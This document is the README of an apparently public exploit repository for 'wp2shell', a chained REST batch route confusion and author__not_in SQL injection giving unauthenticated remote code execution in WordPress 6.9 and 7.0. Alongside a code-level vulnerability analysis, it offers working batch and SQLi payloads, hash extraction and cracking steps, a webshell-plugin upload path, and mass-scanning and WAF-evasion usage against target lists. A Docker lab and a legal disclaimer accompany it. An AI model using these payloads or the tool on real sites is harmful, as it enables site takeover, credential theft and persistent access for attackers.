Share
## https://sploitus.com/exploit?id=B091DECC-34B7-523B-AB30-B389EE164128
# CVE-2026-63030 + CVE-2026-60137 - β€œwp2shell”: unauthenticated RCE in WordPress core

> REST API **batch route confusion** (CVE-2026-63030) chained with a **`WP_Query`
> `author__not_in` SQL injection** (CVE-2026-60137) β†’ **pre-auth remote code
> execution** against a default WordPress install.
>
> Discovered by **Adam Kues** (Assetnote / Searchlight Cyber), disclosed
> 2026-07-17. Advisories: [GHSA-ff9f-jf42-662q](https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-ff9f-jf42-662q),
> [GHSA-fpp7-x2x2-2mjf](https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-fpp7-x2x2-2mjf).

| | |
|---|---|
| **Chain (unauth RCE)** | WordPress **6.9.0 - 6.9.4** and **7.0.0 - 7.0.1** |
| **SQLi only** (needs a facilitating plugin/theme) | 6.8.0 - 6.8.5 |
| **Not affected** | ≀ 6.8 for the *batch confusion*; 6.9.5 / 7.0.2 / 7.1-beta2 (patched) |
| **Preconditions** | REST API reachable; **no persistent object cache** (Redis/Memcached); β‰₯1 published post |
| **Auth required** | none |
| **Impact** | DB read β†’ admin hash β†’ code execution as the web user |

## Demo

https://github.com/user-attachments/assets/beaedfc2-7f70-4463-ab8d-d7c440967889


## What this repo adds

- One original, stdlib-only tool ([wp2shell.py](wp2shell.py)) that unifies the best of six public PoCs into a single file, with no `requests` dependency and no broken features.
- A version-independent confusion detector (`block_cannot_read`) used as the primary, non-destructive `check`.
- Production transport on every command: self-signed TLS, custom headers, custom User-Agent, proxy, retries, request delay.
- A verified 6.8.x facilitated-SQLi path (`sqli`) that the other PoCs do not have.
- Reproducible Docker labs plus a version-by-DB reliability matrix, with every result verified in-lab.
- The hashcat mode for the new `$wp$2y$` password hash (`-m 35500`).

```
wp2shell/
β”œβ”€β”€ README.md              ← you are here
β”œβ”€β”€ wp2shell.py            ← the unified PoC (single file, stdlib only, by 0xsha)
└── lab/                   ← reproducible Docker labs + reliability matrix
    β”œβ”€β”€ docker-compose.yml         (default 6.9.4 lab)
    β”œβ”€β”€ docker-compose.matrix.yml  (parameterised: any version Γ— MySQL/MariaDB)
    β”œβ”€β”€ docker-compose.sqli.yml    (6.8.3 "SQLi only" lab)
    β”œβ”€β”€ matrix.sh                  (runs the whole reliability matrix)
    └── sqli-only/facilitator.php  (mu-plugin: the 6.8.x facilitating sink)
```

The six public PoCs this tool draws from are not vendored here; they are linked in [Credits](#5-credits).

Everything below was **verified in the local Docker lab** (see [Β§4](#4-version--db-matrix-what-we-actually-tested)); claims that were *not* run in-lab are labelled as such.

---

## 1. Vulnerability details - code deep dive

The chain welds two independent bugs. Line numbers are from the **real WordPress
6.9.4 source** (extracted from `wordpress:6.9.4-apache`).

### Bug A - `author__not_in` SQL injection (CVE-2026-60137)

`wp-includes/class-wp-query.php`, `WP_Query::get_posts()`:

```php
2403  if ( ! empty( $query_vars['author__not_in'] ) ) {
2404      if ( is_array( $query_vars['author__not_in'] ) ) {                 // ← guard only fires for ARRAYS
2405          $query_vars['author__not_in'] = array_unique( array_map( 'absint', $query_vars['author__not_in'] ) );
2406          sort( $query_vars['author__not_in'] );
2407      }
2408      $author__not_in = implode( ',', (array) $query_vars['author__not_in'] );   // ← string passes straight through
2409      $where         .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) ";  // ← raw interpolation
2410  } elseif ( ! empty( $query_vars['author__in'] ) ) {
...
2415      $author__in = implode( ',', array_map( 'absint', array_unique( (array) $query_vars['author__in'] ) ) );  // ← absint INSIDE implode
```

A **string** `author__not_in` skips the `is_array()` guard (2404); `implode(',',
(array)"…")` returns it unchanged (2408) and it is concatenated raw into the SQL
(2409). The sibling `author__in` (2415) re-applies `array_map('absint', …)`
*inside* the implode and is safe - that one missing `array_map` is the bug. The
value lands as `... post_author NOT IN () ...`, so `0) -- -` closes
the list and appends SQL.

Getting a *string* there is the hard part: the REST posts endpoint maps
`author_exclude β†’ author__not_in` (`class-wp-rest-posts-controller.php:247`) but
declares it `'type' => 'array'` of integers, so core coerces/rejects a string:

```
GET /wp-json/wp/v2/posts?author_exclude=1) OR SLEEP(3)-- -
β†’ 400 "author_exclude[0] is not of type integer."      (verified on 6.8.3)
```

That is why Bug A alone is only *β€œfacilitated”*. Bug B smuggles the string past
validation on 6.9+.

### Bug B - REST batch route confusion (CVE-2026-63030)

`wp-includes/rest-api/class-wp-rest-server.php`, `serve_batch_request_v1()`:

```php
1720  if ( false === $parsed_url ) {
1721      $requests[] = new WP_Error( 'parse_path_failed', … );   // a bad path becomes a WP_Error IN $requests

1749  foreach ( $requests as $single_request ) {
1750      if ( is_wp_error( $single_request ) ) {
1752          $validation[] = $single_request;     // ← pushed to $validation …
1753          continue;                            // ← … but $matches is SKIPPED
1754      }
1757      $matches[] = $match;                     // ← $matches only grows for VALID requests

1825  foreach ( $requests as $i => $single_request ) {   // indexed by position in $requests
1841      $match = $matches[ $i ];                        // ← $matches is SHORTER β†’ +1 shift
1861      $result = $this->respond_to_request( $single_request, $route, $handler, $error );
```

A `WP_Error` sub-request is pushed to `$validation[]` (1752) but **not** to
`$matches[]` (the `continue` at 1753 skips 1757), so `$matches` runs short and
`$matches[$i]` (1841) holds the **next** request’s handler. Request *i* is
dispatched with request *i+1*’s handler, carrying its own params and its own
(passed) validation verdict.

**Regression origin (verified 6.8.3 β†’ 6.9.4 diff):** in 6.8.3 the loop pushes
`$matches[] = $match` for *every* request and bad paths are dropped in the first
loop - arrays stay aligned, **no desync**. 6.9.0’s refactor introduced the shift.
That is exactly why 6.8.x is β€œSQLi only” and the RCE chain begins at 6.9.0.

### The documented fix (6.9.5 / 7.0.2)

The patch appends `$matches[]` for error entries too, hardens re-entrancy, and
parses `author__not_in` with an id-list helper. *(6.9.5 was not on Docker Hub at
test time, so this is from the advisories, not an in-lab diff.)*

---

## 2. Exploitation method

### 2.1 The double route confusion

The batch schema only allows `POST/PUT/PATCH/DELETE` sub-requests, but posts
`get_items` (the `author_exclude` sink) is **GET-only**, so the confusion is
nested **twice**:

```jsonc
// OUTER batch β†’ POST /wp-json/batch/v1
{"requests": [
  {"method":"POST","path":"///"},                       // [0] bad path β†’ WP_Error β†’ +1 shift
  {"method":"POST","path":"/wp/v2/posts",               // [1] carrier: validated as a posts CREATE β†’
     "body": { /* INNER batch */ }},                     //     its `requests` body is never schema-checked
  {"method":"POST","path":"/batch/v1",                  // [2] handler β†’ [1] dispatched as serve_batch_request_v1
     "body":{"requests":[]}}                             //     (no permission_callback β†’ unauthenticated)
]}
// INNER batch (GET now allowed):
//   [0] POST ///                                        WP_Error β†’ inner +1 shift
//   [1] GET /wp/v2/users?author_exclude=       users has no author_exclude β†’ PAYLOAD passes untouched
//   [2] GET /wp/v2/posts                                [2]'s handler = posts get_items β†’ runs [1] β†’ SQLi
```

`///` is the desync primer (any `wp_parse_url()`-rejecting path works). The tool
also ships a `--variant categories` version of the same trick.

### 2.2 Detecting the confusion *without* the SQLi

A single, non-destructive, **version-independent** probe confirms
CVE-2026-63030 even when the SQLi sink is object-cached or WAF-filtered: a batch
of `POST` sub-requests where the desync makes `POST /wp/v2/posts` be answered by
the **block-renderer’s** permission callback:

```
responses[1].code == "block_cannot_read"    ← a permission error from a handler it never asked for
```

`wp2shell.py check` uses this as its primary signal (structural post-vs-term
shape as fallback). *(Detection technique: Hadrian / Icex0.)*

### 2.3 From injection to data (blind)

The value sits inside `NOT IN ()`, a clean boolean oracle: `0) AND
()-- -` returns rows iff `` holds. Extraction is character-by-character
binary search over `ASCII(SUBSTRING(COALESCE((expr),''),n,1))` (the `COALESCE`
keeps a NULL from short-circuiting into an empty read).

> **Lab note - time-based needs care.** NaΓ―ve `0) OR SLEEP(n)-- -` gives *no
> delay* on a default install: published rows satisfy the query first and
> short-circuit the `OR`. Confirmation is a deterministic **boolean
> differential**; timing uses `0) AND (SELECT 1 FROM (SELECT SLEEP(n))_z)-- -`.
> Observed 0.01s vs 3.04s.

### 2.4 From data to shell (RCE)

1. `read --preset users` extracts `wp_users.user_pass` - WordPress 6.9’s
   `$wp$2y$…` format (**bcrypt over HMAC-SHA384**, key `wp-sha384`).
   Crack with **`hashcat -m 35500`** (slow by design). *(hashpwn / hashcat.)*
2. `shell` logs into `/wp-login.php`, uploads a **token-gated** webshell plugin
   via `update.php?action=upload-plugin`, and runs commands.
   Verified: `uid=33(www-data)`.

### 2.5 The 6.8.x β€œSQLi only” path

6.8.x has Bug A but not Bug B, and core coerces `author_exclude` to an int array,
so the SQLi is reachable only through a **facilitating** plugin/theme that hands
`WP_Query` a raw string. The `sqli` subcommand injects into such a sink directly
(time-based by default; fast boolean with `--true-contains`). Demonstrated
against the `lab/sqli-only` facilitator on 6.8.3.

---

## 3. Usage

### 3.1 The unified PoC - `wp2shell.py`

Single file, Python 3.7+, **standard library only**. Prod-ready transport on
every command: `--insecure` (self-signed TLS), `-H 'K: V'` (repeatable),
`--user-agent`, `--proxy`, `--retries`, `--delay`.

```text
check   fingerprint + confusion marker + confirm the SQLi (non-destructive)
read    read the DB via blind SQLi     (--preset fingerprint|users | --query "SELECT …")
shell   RCE: admin login β†’ token-gated plugin webshell β†’ run commands (-i for a REPL)
sqli    author__not_in SQLi against a direct/facilitated sink (6.8.x, or any plugin sink)
scan    threaded vuln-check over a single URL OR a .txt list   (--prove, --json)
```

```bash
./wp2shell.py check https://target
./wp2shell.py read  https://target --preset users            # logins + $wp$2y$ hashes (+ hashcat hint)
./wp2shell.py read  https://target --query "SELECT @@version"
./wp2shell.py shell https://target --user admin --password '' --cmd id
./wp2shell.py shell https://target --user admin --password '' -i
./wp2shell.py scan  https://target --prove                   # single URL, extract @@version as proof
./wp2shell.py scan  targets.txt --threads 10 --json out.json # a .txt of targets
./wp2shell.py sqli  https://target --endpoint '/?plugin_route=1' --param author_not_in --true-contains ROWS:YES

# prod knobs: self-signed TLS, WAF header, Burp, rate-limit
./wp2shell.py check https://target --insecure -H 'X-Forwarded-For: 127.0.0.1' --proxy http://127.0.0.1:8080 --delay 0.2
```

### 3.2 The lab

```bash
# default vulnerable lab (WordPress 6.9.4 + MariaDB), http://localhost:8080
docker compose -f lab/docker-compose.yml up -d
docker compose -f lab/docker-compose.yml logs -f wpcli      # wait for "LAB READY"
./wp2shell.py check http://localhost:8080
docker compose -f lab/docker-compose.yml down -v

bash lab/matrix.sh                                           # full version Γ— DB matrix

# "SQLi only" lab (6.8.3 + facilitating mu-plugin), http://localhost:8082
docker compose -f lab/docker-compose.sqli.yml up -d
./wp2shell.py sqli http://localhost:8082 --endpoint '/?wp2shell_faccheck=1' \
     --param author_not_in --true-contains ROWS:YES --preset fingerprint
```

Lab admin is `admin` / `Admin!2345` - plaintext known only so the lab can demo
the post-auth `shell`; a real attacker recovers the *hash* and cracks it.

---

## 4. Version & DB matrix - what we actually tested

DB scope is limited to **MySQL and MariaDB** - WordPress core speaks no other
engine in production (no PostgreSQL/MSSQL driver; SQLite only via a rare plugin).

| WordPress | DB engine | Path | `check` | Data extracted |
|---|---|---|---|---|
| **6.9.4** | MariaDB 11 | batch chain | βœ… full RCE | admin `$wp$2y$…` hash + `@@version` |
| **7.0.1** | MariaDB 11 | batch chain | βœ… full RCE | admin hash |
| **6.9.4** | **MySQL 8.4** | batch chain | βœ… full RCE | admin hash (payloads portable) |
| **6.8.3** | MariaDB 11 | batch chain | β›” 207 but **no confusion** | - (matches advisory) |
| **6.8.3** | MariaDB 11 | facilitated `sqli` | βœ… CVE-2026-60137 | `@@version`, user, db - boolean **and** time-based |

**Every command exercised in-lab:** `check` (marker `block_cannot_read` +
boolean + time), `read` (fingerprint / users / `--query`), `shell` (`--cmd` +
interactive REPL β†’ `uid=33(www-data)`), `sqli` (boolean + time), `scan` (single
URL + `.txt` + `--json` + `--prove`), the `--variant categories` payload,
endpoint auto-detect (`/wp-json/` + `?rest_route=`), and the transport flags.

```
$ ./wp2shell.py check http://localhost:8080
[+] Batch endpoint reachable and unauthenticated (HTTP 207) at http://localhost:8080/wp-json/batch/v1
[+] Route confusion ACTIVE - categories request answered by the block-renderer handler (block_cannot_read); CVE-2026-63030 confirmed.
[+] SQL injection CONFIRMED - boolean-blind differential over author__not_in (CVE-2026-60137).
[+] Time-based channel also confirmed - baseline 0.02s vs injected 3.04s.

$ ./wp2shell.py read http://localhost:8080 --preset users
[+] 1|admin|$wp$2y$10$IUUVXuWQ45USOc/rkRAcduAEvyYmHNabvfWFBMq5ApR9RGau6Fxx.
[*] crack the $wp$2y$ hashes with:  hashcat -m 35500 …

$ ./wp2shell.py shell http://localhost:8080 --user admin --password 'Admin!2345' --cmd id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

---

## 5. Credits

- **Vulnerability research & disclosure:** **Adam Kues - Assetnote / Searchlight
  Cyber** (β€œwp2shell”), 2026-07-17.
- **Advisories:** [GHSA-ff9f-jf42-662q](https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-ff9f-jf42-662q),
  [GHSA-fpp7-x2x2-2mjf](https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-fpp7-x2x2-2mjf).
  Write-ups: [Rapid7](https://www.rapid7.com/blog/post/etr-cve-2026-63030-wp2shell-a-critical-remote-code-execution-vulnerability-in-wordpress-core/),
  [Beazley Labs](https://labs.beazley.security/advisories/BSL-A1193),
  [Hadrian](https://hadrian.io/blog/wp2shell-a-pre-authentication-rce-in-wordpress-cores-rest-batch-api) (the `block_cannot_read` detection idea),
  [VulnCheck](https://www.vulncheck.com/blog/wp2shell).
- **Technique credit** (each re-implemented from scratch in `wp2shell.py`, no code copied verbatim):
  - [attackercan/wp2shell-poc2](https://github.com/attackercan/wp2shell-poc2) - verified nested double-confusion core, blind extractor, token-gated webshell + REPL.
  - [Icex0/wp2shell-poc](https://github.com/Icex0/wp2shell-poc) - the `block_cannot_read` marker detector, NULL-safe `COALESCE` extraction, jitter-resistant timing, `integer()` that raises on failure.
  - [Senanfurkan/wordpress-cve-2026-63030](https://github.com/Senanfurkan/wordpress-cve-2026-63030) - version fingerprint/classification and the structural route-confusion test.
  - [Lutfifakee-Project/wp2shell](https://github.com/Lutfifakee-Project/wp2shell) - mass scanning.
  - [NULL200OK/WP2Shell](https://github.com/NULL200OK/WP2Shell) - JSON reporting.
  - [ekomsSavior/wp2shell](https://github.com/ekomsSavior/wp2shell) - interactive-UX inspiration.
- **Hash-cracking mode** (`$wp$2y$` β†’ `hashcat -m 35500`): hashpwn / hashcat.

---

## Legal / authorized use

For **authorized security testing and education only** - systems you own or may
test in writing. All exploitation here ran against a local, disposable Docker
lab; the webshell is token-gated and the default command is benign. You are
responsible for how you use this.